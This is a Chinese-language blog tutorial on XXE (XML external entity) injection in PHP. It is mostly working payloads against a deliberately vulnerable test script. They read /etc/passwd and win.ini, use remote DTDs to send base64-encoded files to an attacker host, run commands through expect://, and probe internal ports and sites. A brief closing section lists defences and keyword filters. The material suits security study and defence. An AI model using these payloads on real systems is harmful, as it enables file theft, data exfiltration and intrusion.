• XML实体注入漏洞


    XML实体注入漏洞 

    测试代码1:新建xmlget.php,复制下面代码

    <?php
    $xml=$_GET['xml'];
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>
    

    漏洞测试利用方式1:有回显,直接读取文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

    LINUX: 

    http://192.168.106.154/xml/example1.php?xml=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE UserInfo[<!ENTITY name SYSTEM "file:///etc/passwd">]><aa>&name;</aa>

    读取passwd文件,需URL编码后执行。

    windows:

    http://192.168.106.208/xxe1.php?xml=<?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

    读取文件、也可以读取到内容D盘的文件夹,形式如: file:///d:/

    URL编码后可执行:

    http://192.168.106.208/xxe1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20xxe%20%5B%0A%3C%21ELEMENT%20name%20ANY%20%3E%0A%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2fwindows%2fwin.ini%22%20%3E%5D%3E%0A%3Croot%3E%0A%3Cname%3E%26xxe%3B%3C%2fname%3E%0A%3C%2froot%3E

    漏洞测试利用方式2:无回显,引用远程服务器上的XML文件读取文件

    将以下1.xml保存到WEB服务器下
    1.xml

    <!ENTITY % a SYSTEM "file:///etc/passwd"> 
    <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
    

    Payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
    %remote;]>
    

      

    http://localhost/ceshi/xmlget.php?xml=<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://localhost/ceshi/evil.dtd">%d;]><aa>&b;</aa>

    evil.dtd文件:<!ENTITY b SYSTEM "file:///F:/linux/1.txt">

    漏洞测试利用方式3: 

    在主机上放一个接收文件的php(get.php):

    <?php
    file_put_contents('01.txt', $_GET['xxe_local']);
    ?>
    

    1.xml内容:

    <!ENTITY % payload	SYSTEM	 "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.106.208/dede/get.php?id=%payload;'>">
    %int;
    %trick;

    Payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
    %remote;]>
    

    网站目录下生成01.txt,将内容进行base64解码,获取内容。

     

    测试代码2:

    新建一个xmltest.php,复制下面内容,直接访问该文件可以读取file文件内容。

    <?php
    $xml=<<<EOF
    <?xml version="1.0" ?>
    <!DOCTYPE ANY[
            <!ENTITY xxe SYSTEM "file:///F:/linux/1.txt">
    ]>
    <x>&xxe;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data)
    ?>

    读取任意文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

     

    执行系统命令

    在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

    探测内网端口

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

    攻击内网网站

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

     

    防御XXE攻击

    方案一、使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);


    Python:

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二、过滤用户提交的XML数据  

    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

    最后

    欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

     

    http://www.secpulse.com/archives/49857.html

    http://www.freebuf.com/articles/web/86007.html

      

    参考资料:

    未知攻焉知防——XXE漏洞攻防 https://security.tencent.com/index.php/blog/msg/69

    XXE漏洞以及Blind XXE总结 http://blog.csdn.net/u011721501/article/details/43775691

    XXE注入攻击与防御 https://www.91ri.org/9539.html

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  • 原文地址:https://www.cnblogs.com/xiaozi/p/5785165.html
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